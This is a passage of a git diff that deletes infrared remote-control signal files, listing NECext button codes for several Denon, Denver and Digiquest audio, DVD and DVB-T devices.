-name: KEY_SETUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: VSS -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir deleted file mode 100644 index 86ea965e7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: fm/am -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 00 00 00 00 -# -name: rds -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 02 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 03 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 04 00 00 00 -# -name: mdrec -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 05 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 06 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 07 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 07 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 08 00 00 00 -# -name: pty -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 09 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0B 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0C 00 00 00 -# -name: pickrec -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0D 00 00 00 -# -name: revmode -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0E 00 00 00 -# -name: editcancel -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0F 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 10 00 00 00 -# -name: ct -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 12 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 13 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 14 00 00 00 -# -name: checkspace -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 15 00 00 00 -# -name: dolby -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 16 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 17 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 18 00 00 00 -# -name: rt -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 19 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1C 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1D 00 00 00 -# -name: titleinput -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1F 00 00 00 -# -name: md -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 40 00 00 00 -# -name: fmmode -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 41 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 42 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 43 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 44 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 45 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 46 00 00 00 -# -name: KEY_5modesrs -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 47 00 00 00 -# -name: titlesearch -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 49 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 4A 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 4B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 4C 00 00 00 -# -name: timedisp -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 4D 00 00 00 -# -name: eqmode -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 4E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 4F 00 00 00 -# -name: bass -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 50 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 51 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 52 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 53 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 56 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir deleted file mode 100644 index 9fad61575..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C1 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C2 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C3 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C4 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C5 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C6 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C7 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C8 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C9 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: CA 00 00 00 -# -name: CHAR -type: parsed -protocol: NECext -address: 06 00 00 00 -command: DD 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: DE 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 06 00 00 00 -command: DF 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E0 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E1 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E2 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E3 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E5 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E6 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E8 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E9 00 00 00 -# -name: PREV_TRACK -type: parsed -protocol: NECext -address: 06 00 00 00 -command: EA 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: EB 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 06 00 00 00 -command: EC 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: EF 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F0 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F1 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F3 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F4 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F5 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: F6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir deleted file mode 100644 index 1cd3b4aa8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: direct -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: nxt_track -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: prv_track -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: auto_space -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 61 00 00 00 -# -name: auto_edit -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 63 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6A 00 00 00 -# -name: peak -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6F 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 75 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 76 00 00 00 -# -name: pitch+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 77 00 00 00 -# -name: pitch- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir deleted file mode 100644 index d02922320..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: direct -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: nxt_track -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: prv_track -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: auto_space -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 61 00 00 00 -# -name: auto_edit -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 63 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6A 00 00 00 -# -name: peak -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6F 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 75 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 76 00 00 00 -# -name: pitch+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 77 00 00 00 -# -name: pitch- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir deleted file mode 100644 index 14b78169d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: program -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: te -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: tree -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: pn -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 49 00 00 00 -# -name: ab -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: ten -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 56 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir deleted file mode 100644 index 94ad22914..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: YELLOW -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 00 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 03 00 00 00 -# -name: TVRADIO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 04 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 05 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 06 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 07 00 00 00 -# -name: FILE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 08 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0C 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0D 00 00 00 -# -name: PLAYPAUSE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 10 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 11 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 12 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 13 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 14 00 00 00 -# -name: TIMESHIFT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 15 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 16 00 00 00 -# -name: UNUSED -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 17 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 18 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 19 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1B 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 40 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 42 00 00 00 -# -name: MOSAIC -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 44 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 45 00 00 00 -# -name: TTX -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 46 00 00 00 -# -name: DEVICE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 48 00 00 00 -# -name: UNUSED2 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4C 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 50 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 51 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 52 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 54 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 55 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 56 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 58 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir deleted file mode 100644 index 0d0fbe5f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: YELLOW -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 00 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 04 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 05 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 06 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 07 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 08 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0C 00 00 00 -# -name: TTX -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 10 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 11 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 13 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 14 00 00 00 -# -name: TVRADIO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 15 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 16 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 17 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 18 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 19 00 